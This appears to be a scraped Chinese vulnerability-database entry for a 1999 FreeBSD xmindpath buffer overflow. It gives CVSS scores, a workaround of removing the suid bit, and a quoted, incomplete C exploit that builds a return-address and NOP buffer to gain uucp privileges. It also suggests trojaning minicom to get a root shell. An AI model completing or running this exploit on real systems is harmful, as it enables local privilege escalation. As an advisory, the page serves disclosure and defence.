发布时间 :1999-12-01 00:00:00
修订时间 :2008-09-09 08:36:00

[原文]Buffer overflow in FreeBSD xmindpath allows local users to gain privileges via -f argument.

[CNNVD]FreeBSD xmindpath缓冲区溢出漏洞(CNNVD-199912-006)

        FreeBSD xmindpath存在缓冲区溢出漏洞。本地用户可以通过-f参数获得权限。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

FreeBSD xmindpath缓冲区溢出漏洞
中危 缓冲区溢出
1999-12-01 00:00:00 2005-05-02 00:00:00
        FreeBSD xmindpath存在缓冲区溢出漏洞。本地用户可以通过-f参数获得权限。

- 公告与补丁

        Remove the suid bit from the xmindpath binary.
        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at:

- 漏洞信息 (19652)

FreeBSD 3.3 xmindpath Buffer Overflow Vulnerability (EDBID:19652)
freebsd local
1999-12-01 Verified
0 Brock Tellier
N/A [点击下载]

The version of xmindpath shipped with FreeBSD 3.3 can be locally exploited via overrunning a buffer of predefined length. It is possible to gain the effective userid of uucp through this vulnerability. It may be possible, after attaining uucp priviliges, to modify binaries to which uucp has write access to and trojan them to further elevate priviliges), ie: modify minicom so that when root runs it, drops a suid shell somewhere. 

 * FreeBSD 3.3 xmindpath exploit gives euid uucp
 * Compile: gcc -o xmindx xmindx.c
 * Usage: ./xmindx <offset>
 /path/to/mindpath -f $RET
 * Brock Tellier <>
 #include <stdlib.h>
 #include <stdio.h>

 char shell[]= /* */

 #define EGGLEN 2048
 #define RETLEN 279
 #define ALIGN 3
 #define NOP 0x90

 int main(int argc, char *argv[]) {

 long int offset=0;
 int i;
 int egglen = EGGLEN;
 int retlen = RETLEN;
 long int addr = 0xbfbfcfa8;
 char egg[EGGLEN];
 char ret[RETLEN];

 if (argc == 2) offset = atoi(argv[1]);

 addr=addr + offset;

 fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n");
 fprintf(stderr, "Brock Tellier\n");
 fprintf(stderr, "Using addr: 0x%x\n", addr);

 memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell));

 for(i=ALIGN;i< retlen;i+=4)
 *(int *)&ret[i]=addr;

 memcpy(egg, "EGG=", 4);




- 漏洞信息

FreeBSD xmindpath Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A local overflow exists in xmindpath, a FreeBSD port. It fails to check bounds when the "-f" argument is passed, resulting in a local buffer overflow. With a specially crafted request, an attacker can execute arbitrary shellcode with the privileges of suid uucp resulting in a loss of integrity.

- 时间线

1999-11-30 Unknow
1999-11-30 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround: remove the suid bit from the xmindpath binary.

- 相关参考

- 漏洞作者